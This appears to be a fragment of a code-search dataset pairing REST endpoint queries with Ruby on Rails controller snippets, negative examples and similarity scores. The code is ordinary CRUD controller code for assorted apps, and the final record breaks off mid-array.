true,errors: @penalty.errors},status: :unprocessable_entity\n\n \t\t\tend\n\n \t\tend", "def create\n @unemployment_insurance = UnemploymentInsurance.new(unemployment_insurance_params)\n\n respond_to do |format|\n if @unemployment_insurance.save\n format.html { redirect_to @unemployment_insurance, notice: 'Unemployment insurance was successfully created.' }\n format.json { render :show, status: :created, location: @unemployment_insurance }\n else\n format.html { render :new }\n format.json { render json: @unemployment_insurance.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n official = Official.new(official_params)\n if official.save\n render json: official, status: 201, location: [:api, official]\n else\n failed_to_create(official, \"official\")\n end\n end", "def create\n @nineteen = Nineteen.new(nineteen_params)\n\n respond_to do |format|\n if @nineteen.save\n format.html { redirect_to @nineteen, notice: 'Nineteen was successfully created.' }\n format.json { render action: 'show', status: :created, location: @nineteen }\n else\n format.html { render action: 'new' }\n format.json { render json: @nineteen.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @property = Property.find(params[:property_id])\n @prenotation = @property.prenotations.create(prenotation_params)\n\n respond_to do |format|\n if @prenotation.save\n format.html { redirect_to property_prenotations_path(@property), notice: 'Prenotazione effettuata con successo.' }\n format.json { render :show, status: :created, location: @prenotation }\n else\n format.html { render :new }\n format.json { render json: @prenotation.errors, status: :unprocessable_entity }\n end\n end\n end", "def national_outcome_params\n params.require(:national_outcome).permit(:name)\n end", "def create\n @ninety_ten_booking = NinetyTenBooking.new(ninety_ten_booking_params)\n\n respond_to do |format|\n if @ninety_ten_booking.save\n format.html { redirect_to @ninety_ten_booking, notice: 'Ninety ten booking was successfully created.' }\n format.json { render :show, status: :created, location: @ninety_ten_booking }\n else\n format.html { render :new }\n format.json { render json: @ninety_ten_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @enrollment = Enrollment.new(properties_data: enrollment_properties_params)\n #debugger\n #@enrollment = Enrollment.new()\n #render json: request.raw_post(), status: :created\n\n if @enrollment.save\n render json: {:reference_number => @enrollment.reference_number}, status: :created\n else\n render json: @enrollment.errors, status: :unprocessable_entity\n end\n end", "def create\n @injury = Injury.new(injury_params)\n\n respond_to do |format|\n if @injury.save\n format.html { redirect_to injuries_url, notice: 'Injury was successfully created.' }\n # format.json { render :show, status: :created, location: @injury }\n else\n format.html { render :new }\n format.json { render json: @injury.errors, status: :unprocessable_entity }\n end\n end\n end", "def new_basic_predetails\n\t\t@petowner = Petowner.new\n\n\t\t# we could have put what is below directly in the view but the controller's job is supposed to be to ask data from the model and set it up for the views - the view should be completely decoupled from the model( the view should never know of the model's existence )\n\t\t@all_residential_areas_in_nairobi = ResidentialArea.all\n\tend", "def create\n @flat_happening = FlatHappening.where(:namespaced_id => params[:flat_happening][:namespaced_id]).first_or_initialize(params[:flat_happening])\n # @happening = Happening.where(:source => params[:happening][:source], :meta => params[:happening][:meta]).first_or_initialize(create_params)\n\n if @flat_happening.save\n render json: @flat_happening, status: :created\n # , location: @flat_happening\n else\n render json: @flat_happening.errors, status: :unprocessable_entity\n end\n end", "def create\n @patient = Patient.find(params[:patient_id])\n @prescription = @patient.prescriptions.build(prescription_params)\n @prescription.formulary_status = FORMULARY_STATUSES.sample\n @prescription.date_prescribed = Time.zone.now\n @prescription.active = true\n\n respond_to do |format|\n if @prescription.save\n format.html { redirect_to @patient, notice: 'Prescription was successfully created.' }\n format.json { render :show, status: :created, location: @prescription }\n else\n format.html { render :new }\n format.json { render json: @prescription.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # authorize preorder_conversition\n member = Member.where(id: params[:preorder_conversition][:member_id]).first\n @preorder_conversition = @site.preorder_conversitions.new(permitted_attributes(PreorderConversition).merge(user_id: current_user.id, member_name: member.name, member_phone: member.mobile_phone))\n if @preorder_conversition.save\n render json: {status: 'ok', url: agent_preorder_conversitions_path}\n else\n render json: {status: 'error', message:@preorder_conversition.errors.full_messages.join(',')}\n end\n end", "def create\n @pre_step = PreStep.new(params[:pre_step])\n\n respond_to do |format|\n if @pre_step.save\n format.html { redirect_to @pre_step, notice: 'Pre step was successfully created.' }\n format.json { render json: @pre_step, status: :created, location: @pre_step }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pre_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @pregnancies = @rabbit.pregnancies\n end", "def create\n @party_japan = PartyJapan.new(party_japan_params)\n\n respond_to do |format|\n if @party_japan.save\n format.html { redirect_to @party_japan, notice: 'Party japan was successfully created.' }\n format.json { render :show, status: :created, location: @party_japan }\n else\n format.html { render :new }\n format.json { render json: @party_japan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pres = Pre.all\n @pre = Pre.new(params[:pre])\n\n respond_to do |format|\n if @pre.save\n format.html { redirect_to @pre, notice: 'Pre was successfully created.' }\n format.json { render json: @pre, status: :created, location: @pre }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pre.errors, status: :unprocessable_entity }\n end\n end\n\n\n end", "def ninety_ten_booking_params\n params.require(:ninety_ten_booking).permit(:date__c, :time__c, :firstname__c, :lastname__c, :phonenumber__c, :guests__c, :comments__c, :status__c, :username__c)\n end", "def create\n @nlp = Nlp.new(params[:nlp])\n\n respond_to do |format|\n if @nlp.save\n format.html { redirect_to @nlp, notice: 'Nlp was successfully created.' }\n format.json { render json: @nlp, status: :created, location: @nlp }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nlp.errors, status: :unprocessable_entity }\n end\n end\n end", "def prestation_params\n params.require(:prestation).permit(:matter_id, :prestation_date, :details, :rate, :fixed_price, :amount, :code, :libelle, :rate_unit, :expense, :invoice_id)\n end", "def pre_total_party_num_params\n params.require(:pre_total_party_num).permit(:result_no, :generate_no, :e_no, :count_type, :party_num)\n end", "def create\n course = Course.includes(:professors).new(course_params)\n course.professor_ids=(params[:professors])\n\n if course.save\n render json: course.to_json(include: :professors)\n else\n render :json => { :errors => course.errors }, :status => 422\n end\n end", "def create\n @residence = Residence.new(params[:residence])\n\n respond_to do |format|\n if @residence.save\n format.html { redirect_to @residence, notice: 'Residence was successfully created.' }\n format.json { render json: @residence, status: :created, location: @residence }\n else\n format.html { render action: \"new\" }\n format.json { render json: @residence.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @disabled_person = DisabledPerson.new(disabled_person_params)\n if @disabled_person.save!\n @disabled_person.evaluation = Evaluation.new(health_center: @disabled_person.health_center, evaluated_at: Time.now)\n @disabled_person.evaluation.save!\n render json: @disabled_person, include:[:address, :phones], status: :created, location: @disabled_person\n else\n render json: @disabled_person.errors, status: :unprocessable_entity\n end\n end", "def create\n @nail_salon = NailSalon.new(params[:nail_salon])\n\n respond_to do |format|\n if @nail_salon.save\n format.html { redirect_to @nail_salon, notice: 'Nail salon was successfully created.' }\n format.json { render json: @nail_salon, status: :created, location: @nail_salon }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nail_salon.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n require 'time'\n str1 = params[:injury][:when]\n if(str1 == '')\n str1 = '01/01/2017'\n end\n params[:injury][:when] = Time.parse(str1).to_i\n\n\n str1 = params[:injury][:datetrain]\n if(str1 != '')\n params[:injury][:datetrain] = Time.parse(str1).to_i\n end\n\n str1 = params[:injury][:datematch]\n if(str1 != '')\n params[:injury][:datematch] = Time.parse(str1).to_i\n end\n\n str1 = params[:injury][:dateperf]\n if(str1 != '')\n params[:injury][:dateperf] = Time.parse(str1).to_i\n end\n\n @injury = Injury.new(injury_params)\n\n\n respond_to do |format|\n if @injury.save\n format.html { redirect_to user_path(@injury.user_id), notice: 'Injury was successfully created.' }\n format.json { render :show, status: :created, location: @injury }\n end\n end\n end", "def create\n @gakunenn = Gakunenn.new(gakunenn_params)\n\n respond_to do |format|\n if @gakunenn.save\n format.html { redirect_to @gakunenn, notice: \"学年を追加しました\" }\n format.json { render :show, status: :created, location: @gakunenn }\n else\n format.html { render :new }\n format.json { render json: @gakunenn.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @nursery_table = NurseryTable.new(nursery_table_params)\n\n respond_to do |format|\n if @nursery_table.save\n format.html { redirect_to @nursery_table, notice: \"Nursery table was successfully created.\" }\n format.json { render :show, status: :created, location: @nursery_table }\n else\n format.html { render :new }\n format.json { render json: @nursery_table.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @renewal = Renewal.new(renewal_params)\n\n respond_to do |format|\n if @renewal.save\n format.html { redirect_to insurance_policy_path(@renewal.insurance_policy), notice: 'Renewal was successfully created.' }\n format.json { render :show, status: :created, location: @renewal }\n # for each new renewal added parent policy expiry and policy no will change to match current renewal\n @insurance_policy = @renewal.insurance_policy\n @insurance_policy.update_attributes(current_expiry: @renewal.expiry_date, policyno: @renewal.policyno)\n else\n format.html { render :new }\n format.json { render json: @renewal.errors, status: :unprocessable_entity }\n end\n end\n end", "def pre_enrollment_params \n params.require(:pre_enrollment).permit(:semester, :date_initial, :date_final, disciplines_enrollments_attributes: [:id, :name, :code, :category, :_destroy])\n end", "def create\n @party_approval = PartyApproval.new(party_approval_params)\n\n respond_to do |format|\n if @party_approval.save\n format.html { redirect_to @party_approval, notice: 'Party approval was successfully created.' }\n format.json { render :show, status: :created, location: @party_approval }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @party_approval.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @official_tenure = OfficialTenure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @official_tenure }\n end\n end", "def create\n @pupil_has_year = PupilHasYear.new(pupil_has_year_params)\n\n respond_to do |format|\n if @pupil_has_year.save\n format.html { redirect_to pupil_has_years_path, notice: 'Pupil has year was successfully created.' }\n format.json { render :show, status: :created, location: @pupil_has_year }\n else\n format.html { render :new }\n format.json { render json: @pupil_has_year.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @prioridade_adocao = PrioridadeAdocao.new(params[:prioridade_adocao])\n\n respond_to do |format|\n if @prioridade_adocao.save\n format.html { redirect_to @prioridade_adocao, notice: 'Prioridade adocao was successfully created.' }\n format.json { render json: @prioridade_adocao, status: :created, location: @prioridade_adocao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prioridade_adocao.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @preorder = Preorder.new\n @title = \"tugowa\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preorder }\n end\n end", "def prenda_params\n params.require(:prenda).permit(:prendanombre)\n end", "def create\n @personnage = Personnage.new(params[:personnage])\n\n respond_to do |format|\n if @personnage.save\n format.html { redirect_to @personnage, notice: 'Personnage was successfully created.' }\n format.json { render json: @personnage, status: :created, location: @personnage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @personnage.errors, status: :unprocessable_entity }\n end\n end\n end", "def create \n num_days = (Date.parse(params['rent_info']['end_date']).mjd - Date.parse(params['rent_info']['start_date']).mjd) \n total = num_days * params['rent_info']['price_per_day']\n # byebug\n if User.find(params['rent_info']['owner_id'])\n user = User.find(params['rent_info']['owner_id'])\n user.money_made += total \n user.save\n end\n\n renter_post = RenterPost.create(\n renter_id: params['rent_info']['renter_id'],\n post_id: params['rent_info'][\"post_id\"],\n start_date: params['rent_info'][\"start_date\"],\n end_date: params['rent_info'][\"end_date\"],\n status: params['rent_info'][\"status\"]\n )\n if renter_post \n render json: renter_post\n else\n render json: {error: \"Could not create Renter Post\"}\n end\n end", "def create\n @pain_observation = PainObservation.new(pain_observation_params)\n\n respond_to do |format|\n if @pain_observation.save\n format.html { redirect_to @pain_observation, notice: 'Pain observation was successfully created.' }\n format.json { render :show, status: :created, location: @pain_observation }\n else\n format.html { render :new }\n format.json { render json: @pain_observation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_autopay_rent(autopay_params, penalties)\r\n first_pay = MyDate::date_from_date_select(autopay_params, \"first_pay\")\r\n autopay_rent = AutoPay.new({:renter_id => self.id,\r\n :property_id => self.property.id,\r\n :object => autopay_params[\"object\"],\r\n :price => autopay_params[\"price\"],\r\n :category => \"in\",\r\n :groupp => \"najem\",\r\n :last_pay => first_pay,\r\n :repeat => autopay_params[\"repeat\"],\r\n :added => Time.now.to_i})\r\n autopay_rent.save\r\n if autopay_rent.save\r\n autopay_rent.generate_first_bill(autopay_params[:rent_penalty])\r\n end_of_month = Time.utc(Time.now.year,Time.now.month,MyDate::Month[Time.now.month][:days])\r\n autopay_rent.generate_bills(end_of_month)\r\n self.actual_rent.update_attributes({:auto_pay_id => autopay_rent.id,\r\n :penalty_id => autopay_params[:rent_penalty]})\r\n return true\r\n else\r\n return false\r\n end\r\n end", "def create\n @pre_training_review = PreTrainingReview.new(pre_training_review_params)\n\n respond_to do |format|\n if @pre_training_review.save\n # format.html { redirect_to @pre_training_review, notice: 'Pre training review was successfully created.' }\n format.html {redirect_to new_enrolment_path, notice: 'Pre training review is complete.'}\n format.json { render :show, status: :created, location: @pre_training_review }\n else\n format.html { render :new }\n format.json { render json: @pre_training_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def make_preapproved_payments(preapproval_key)\n api.execute :Pay, payment_options(preapproval_key)\nend", "def create\n @undergraduate_major = UndergraduateMajor.new(params[:undergraduate_major])\n\n respond_to do |format|\n if @undergraduate_major.save\n format.html { redirect_to @undergraduate_major, notice: 'Undergraduate major was successfully created.' }\n format.json { render json: @undergraduate_major, status: :created, location: @undergraduate_major }\n else\n format.html { render action: \"new\" }\n format.json { render json: @undergraduate_major.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @prioridade = Prioridade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade }\n end\n end", "def counseling_params\n params.require(:counseling).permit(:date, :adviser, :classroom)\n end", "def create\n @national_rank = NationalRank.new(params[:national_rank])\n\n respond_to do |format|\n if @national_rank.save\n format.html { redirect_to @national_rank, notice: 'National rank was successfully created.' }\n format.json { render json: @national_rank, status: :created, location: @national_rank }\n else\n format.html { render action: \"new\" }\n format.json { render json: @national_rank.errors, status: :unprocessable_entity }\n end\n end\n end", "def nineteen_params\n params.require(:nineteen).permit(:name)\n end", "def create\n params[:submission][:verdict] = 'pending'\n create_base(params[:submission]) \n end", "def create\n @sundry_grn = SundryGrn.new(params[:sundry_grn])\n\n respond_to do |format|\n if @sundry_grn.save\n format.html { redirect_to @sundry_grn, :notice => 'Sundry grn was successfully created.' }\n format.json { render :json => @sundry_grn, :status => :created, :location => @sundry_grn }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sundry_grn.errors, :status => :unprocessable_entity }\n end\n end\n end", "def si_generate_no\n company = params[:company]\n posted_at = params[:posted_at]\n\n # Builds no, if possible\n code = '$err'\n if company != '$' && posted_at != '$'\n code = si_next_no(company, Time.parse(posted_at))\n end\n @json_data = { \"code\" => code }\n render json: @json_data\n end", "def create\n product_name = competitor_params[:title]\n honestbee_datas = get_honestbee_data (product_name)\n predict_catalog = get_predict_catalog ( product_name )\n save_data_in_postgres (predict_catalog)\n render :json => honestbee_datas\n end", "def create\n #New itinerary\n @newItinerary = Itinerary.new itin_params\n @newItinerary.save\n #new event and event_itinerary\n @eventArray = event_array\n @eventArray.each do |event|\n event = Event.new(event) #iterate through, add event itinerary to each one with itinerary ID from first save.\n event.save\n @newEventItin = EventItinerary.new(:event_id => event[:id],:itinerary_id => @newItinerary[:id])\n @newEventItin.save\n end\n \n respond_to do |format|\n format.json { render :json => [{:event => @eventArray},{ :itineraries => @newItinerary},{:event_itineraries => @newEventItin} ]}\n end\n end", "def create_yearly_data\n number = @slide_number.to_i + 1\n yearly_data = Nokogiri::HTML(\n open(\n \"#{ENV['API_DOMAIN_2']}#{Time.now.year}-horoscope\"\n )\n ).css(\"div.shareable-section-wrapper.shareable-yearly\").last\n return {} if yearly_data.blank?\n inner_data = yearly_data.css(\"div[#{number}] p\")\n final_data = \"\"\n inner_data.css(\"p\").each do |para|\n final_data = final_data + para.text + \"</br></br></t>\"\n end\n\n data = {\n sign: @sign_name.to_s,\n duration: \"yearly\",\n horoscope_text: final_data\n } if final_data\n Horoscope.create(data) if final_data and data\n end", "def create\n @person_expense_record = PersonExpenseRecord.new(person_expense_record_params)\n\n if @person_expense_record.save\n render json: @person_expense_record, status: :created, location: @person_expense_record\n else\n render json: @person_expense_record.errors, status: :unprocessable_entity\n end\n end", "def orphan_params\n params.require(:orphan).permit(:orphan_list, :name, :father_name, :father_is_martyr, :father_occupation, :father_place_of_death, :father_cause_of_death, :father_date_of_death, :mother_name, :mother_alive, :gender, :health_status, :schooling_status, :goes_to_school, :guardian_name, :guardian_relationship, :guardian_id, :original_address_gov, :original_address_city, :original_address_neighborhood, :original_address_street, :original_address_details, :current_address_gov, :current_address_city, :current_address_neighborhood, :current_address_street, :current_address_details, :contact_number, :alt_contact_number, :sponsored_by_another_org, :another_org_sponsorship_details, :minor_siblings_count, :sponsored_minor_siblings_count, :comments)\n end", "def overage_params\n params.require(:overage).permit(:name, :phone_number, :overage_date, :reason, :added_data)\n end", "def booking_lawn\n book_lawn = Lawnbookings.where(booking_date: params[:booking_date], lawn_no: params[:lawn_no])\n \n if book_lawn.count == 0\n @book_lawn = Lawnbookings.new\n @book_lawn.lawn_no = params[:lawn_no]\n @book_lawn.booking_date = params[:booking_date]\n @book_lawn.save\n end\n if request.xhr?\n render :json => {booking_date: params[:booking_date], lawn_no: params[:lawn_no] } \n end\n end", "def create\n \n @empresa = Empresa.find(:first, :conditions => [\"prefijo = ?\", params[:empresa_id]]) # para la validacion del formulario\n\n params[:gln][:gln] = Gln.generar(params[:empresa_id])\n params[:gln][:fecha_asignacion] = Time.now\n estatus = Estatus.find(:first, :conditions => [\"descripcion = ? and alcance = ?\", 'Activo', 'GLN'])\n params[:gln][:id_estatus] = estatus.id\n params[:gln][:codigo_localizacion] = params[:gln][:gln][7..11]\n @gln = Gln.new(params[:gln])\n\n respond_to do |format|\n if @gln.save\n format.html { redirect_to empresa_glns_path, notice: \"GLN #{@gln.gln} fue generado.\"}\n format.json { render json: @gln, status: :created, location: @gln }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gln.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @nine = Nine.new(nine_params)\n\n respond_to do |format|\n if @nine.save\n format.html { redirect_to @nine, notice: 'Nine was successfully created.' }\n format.json { render :show, status: :created, location: @nine }\n else\n format.html { render :new }\n format.json { render json: @nine.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @nepals = Nepal.all\n\n render json: @nepals\n end", "def pregnancy_params\n params.require(:pregnancy).permit(:name, :dog_id, :heat_start_date, :due_date, :surgery_date, :total_puppy, :note, :pictures_attributes => [:id, :file, '_destroy'])\n end", "def create\n @questionnaire = Questionnaire.new(questionnaire_params)\n @questionnaire.user = current_user\n @questionnaire.user_approval_date = Time.now\n\n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully created.' }\n format.json { render action: 'show', status: :created, location: @questionnaire }\n else\n format.html { render action: 'new' }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n current_account.parties.create(params[:parties].values)\n @date = params[:parties].values.first[:created_at].to_time\n @parties = current_account.parties.by_month(@date.month, :year => @date.year)\n @daily = @parties.select{|p| p.created_at.to_date == @date.to_date}.group_by(&:game)\n @count = @parties.size\n find_yours(@parties)\n @games = compute_monthly_played(@parties, @date.beginning_of_month)\n respond_to do |format|\n format.js\n end\n end", "def create\n @national = National.new(national_params)\n\n respond_to do |format|\n if @national.save\n format.html { redirect_to @national, notice: 'National was successfully created.' }\n format.json { render :show, status: :created, location: @national }\n else\n format.html { render :new }\n format.json { render json: @national.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @reimbursement = Reimbursement.new(params[:reimbursement])\n @year_insurances = YearInsurance.active.joins(:family)\n respond_to do |format|\n if @reimbursement.save\n format.html { redirect_to reimbursements_path, notice: 'Reimbursement was successfully created.' }\n format.json { render json: @reimbursement, status: :created, location: @reimbursement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reimbursement.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @nippou = Nippou.new(nippou_params)\n\n respond_to do |format|\n if @nippou.save\n format.html { redirect_to @nippou, notice: 'Nippou was successfully created.' }\n format.json { render action: 'show', status: :created, location: @nippou }\n else\n format.html { render action: 'new' }\n format.json { render json: @nippou.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @national_outcome = NationalOutcome.new(national_outcome_params)\n\n\n if @national_outcome.save\n flash[:success] = 'National outcome was successfully created.'\n redirect_to :back\n else\n flash[:danger] = 'National outcome was not created.'\n redirect_to :back\n end\n\n end", "def create\n @recordpnytt = Recordpnytt.new(recordpnytt_params)\n\n respond_to do |format|\n if @recordpnytt.save\n format.html { redirect_to @recordpnytt, notice: 'Recordpnytt was successfully created.' }\n format.json { render :show, status: :created, location: @recordpnytt }\n else\n format.html { render :new }\n format.json { render json: @recordpnytt.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @missing_person = MissingPerson.new(params[:missing_person])\n\n respond_to do |format|\n if @missing_person.save\n format.html { redirect_to @missing_person, notice: 'Missing person was successfully created.' }\n format.json { render json: @missing_person, status: :created, location: @missing_person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @missing_person.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_from_npr(user_ingredients)\n raw_response=RestClient.get('http://api.npr.org/query?id=1139&fields=title,teaser,storyDate,byline,text&date&searchTerm=' + user_ingredients + '&dateType=story&output=JSON&apiKey=MDE5MDExNzc1MDE0MzA0MDE1NTViZDViOQ001')\n response = JSON.load(raw_response)\n\n if response[\"list\"][\"story\"] == nil\n puts \"Your search did not find any recipes...\"\n else\n recipes = response[\"list\"][\"story\"].map do |recipe|\n Recipe.new(\n title = recipe[\"title\"][\"$text\"],\n teaser = recipe[\"teaser\"][\"$text\"],\n link = recipe[\"link\"].first[\"$text\"],\n storyDate = recipe[\"storyDate\"][\"$text\"]\n )\n end\n end\n\nend", "def pebble\n provider = Account.find(params[:provider_id])\n\n dates = EventDate.where(\"datetime>:now AND stage_id IN (:stage_id)\", {\n :now => (Time.now + 2.hours),\n :stage_id => provider.user.stages.map(&:id)\n }).order(:datetime).limit(2)\n \n output = {}\n dates.each do |date| \n output[output.count] = ActiveSupport::Inflector.transliterate(date.event.title.slice(0,20))\n output[output.count] = date.datetime.strftime(\"%H:%M\") + \" \" + ActiveSupport::Inflector.transliterate(date.event.stage.name.gsub(/[a-z]|\\s/,''))\n end\n \n render json: output\n \n rescue ActiveRecord::RecordNotFound\n render json: {}\n end", "def uriy_params\n params.require(:uriy).permit(:year, :month, :amount, :anken_id)\n end" ]
[ "0.64132714", "0.5656938", "0.5608786", "0.5480234", "0.5391715", "0.5363662", "0.52588636", "0.52548546", "0.52204686", "0.521578", "0.5165906", "0.511465", "0.511465", "0.509548", "0.5047906", "0.50300527", "0.49915105", "0.4983485", "0.49808344", "0.49736133", "0.49634275", "0.4927938", "0.49202532", "0.4873972", "0.48705986", "0.48556986", "0.4850043", "0.48446658", "0.4843349", "0.4828713", "0.48274317", "0.47931626", "0.47771546", "0.47690028", "0.47517532", "0.47471267", "0.47355983", "0.47328907", "0.4726086", "0.47252753", "0.4724772", "0.47226182", "0.47154683", "0.47074196", "0.47067392", "0.47032246", "0.4702933", "0.47027594", "0.47024518", "0.4700637", "0.46904227", "0.46815845", "0.46747705", "0.46746325", "0.46735328", "0.4672936", "0.4669053", "0.46663558", "0.4659075", "0.46490523", "0.4648108", "0.46447858", "0.4641794", "0.46376714", "0.46332097", "0.46329376", "0.46313193", "0.4630267", "0.46151903", "0.46109128", "0.46108475", "0.4610413", "0.46085277", "0.46044075", "0.4604088", "0.45982608", "0.45951927", "0.4591018", "0.4590895", "0.4580257", "0.45800152", "0.45747876", "0.4574234", "0.45718965", "0.45634177", "0.45577848", "0.4557773", "0.45568427", "0.45541343", "0.45509565", "0.45480734", "0.45475549", "0.45448944", "0.45370027", "0.4535357", "0.45334005", "0.45326027", "0.45314637", "0.45305997", "0.452625" ]
0.71314317
0
PUT /early_pregnancies/1 PUT /early_pregnancies/1.json
def update @early_pregnancy = EarlyPregnancy.find(params[:id]) respond_to do |format| if @early_pregnancy.update_attributes(params[:early_pregnancy]) format.html { redirect_to @early_pregnancy, notice: 'Early pregnancy was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @early_pregnancy.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @early_pregnancy = EarlyPregnancy.new(params[:early_pregnancy])\n\n respond_to do |format|\n if @early_pregnancy.save\n format.html { redirect_to @early_pregnancy, notice: 'Early pregnancy was successfully created.' }\n format.json { render json: @early_pregnancy, status: :created, location: @early_pregnancy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @early_pregnancy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pregnancy.update(pregnancy_params)\n format.html { redirect_to @pregnancy, notice: 'Pregnancy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pregnancy.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @early_pregnancy = EarlyPregnancy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @early_pregnancy }\n end\n end", "def destroy\n @early_pregnancy = EarlyPregnancy.find(params[:id])\n @early_pregnancy.destroy\n\n respond_to do |format|\n format.html { redirect_to early_pregnancies_url }\n format.json { head :no_content }\n end\n end", "def show\n @early_pregnancy = EarlyPregnancy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @early_pregnancy }\n end\n end", "def update\n respond_to do |format|\n puts \"pregnancy_params => #{pregnancy_params}\"\n if @pregnancy.update(pregnancy_params)\n format.html { redirect_to rabbit_pregnancies_path(@rabbit), notice: 'Gravidanza aggiornata con successo.' }\n format.json { render :show, status: :ok, location: @pregnancy }\n else\n format.html { render :edit }\n format.json { render json: @pregnancy.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_pregnancy\n @pregnancy = Pregnancy.find(params[:id])\n end", "def set_pregnancy\n @pregnancy = Pregnancy.find(params[:id])\n end", "def update\n \n @pre_application = PreApplication.create(\n organisation_id: current_user.organisations.first.id,\n user_id: current_user.id\n )\n \n PaExpressionOfInterest.create(pre_application_id: @pre_application.id)\n \n redirect_to(\n pre_application_expression_of_interest_heritage_focus_path(\n @pre_application.id\n )\n )\n \n end", "def update\n official = Official.find(params[:id])\n if official.update(official_params)\n render json: official, status: 200, location: [:api, official]\n else\n failed_to_update(official, \"official\")\n end\n end", "def set_api_v1_initiative_update\n @api_v1_initiative_update = Api::V1::InitiativeUpdate.find(params[:id])\n end", "def update\n @official_tenure = OfficialTenure.find(params[:id])\n\n respond_to do |format|\n if @official_tenure.update_attributes(params[:official_tenure])\n format.html { redirect_to @official_tenure, notice: 'Official tenure was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @official_tenure.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pre_enrollment.update(pre_enrollment_params)\n format.html { redirect_to @pre_enrollment, notice: 'Pre enrollment was successfully updated.' }\n format.json { render :show, status: :ok, location: @pre_enrollment }\n else\n format.html { render :edit }\n format.json { render json: @pre_enrollment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n update_resource_response(@headline, headline_params)\n end", "def update\n if @person.seat\n render json: {errors: 'Cannot update a seated person'}, status: 422\n else\n @person.update person_params\n render json: @person\n end\n end", "def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @previous_party.update(previous_party_params)\n format.html { redirect_to @previous_party, notice: 'Previous party was successfully updated.' }\n format.json { render :show, status: :ok, location: @previous_party }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @previous_party.errors, status: :unprocessable_entity }\n end\n end\n end", "def previous_party_params\n params.require(:previous_party).permit(:party, :politician, :start_date, :end_date)\n end", "def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end", "def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end", "def update\n @preceed = Preceed.find(params[:id])\n\n respond_to do |format|\n if @preceed.update_attributes(params[:preceed])\n format.html { redirect_to @preceed, notice: 'Preceed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @preceed.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @initiative = Initiative.find(params[:id])\n \n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n \n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @noun = Noun.find(params[:id])\n params[:noun][:updated_by] = current_user\n\n respond_to do |format|\n if @noun.update_attributes(params[:noun])\n format.html { redirect_to nouns_path, notice: 'Noun was successfully updated.' }\n # format.json { head :no_content }\n else\n format.html { \n @nouns = 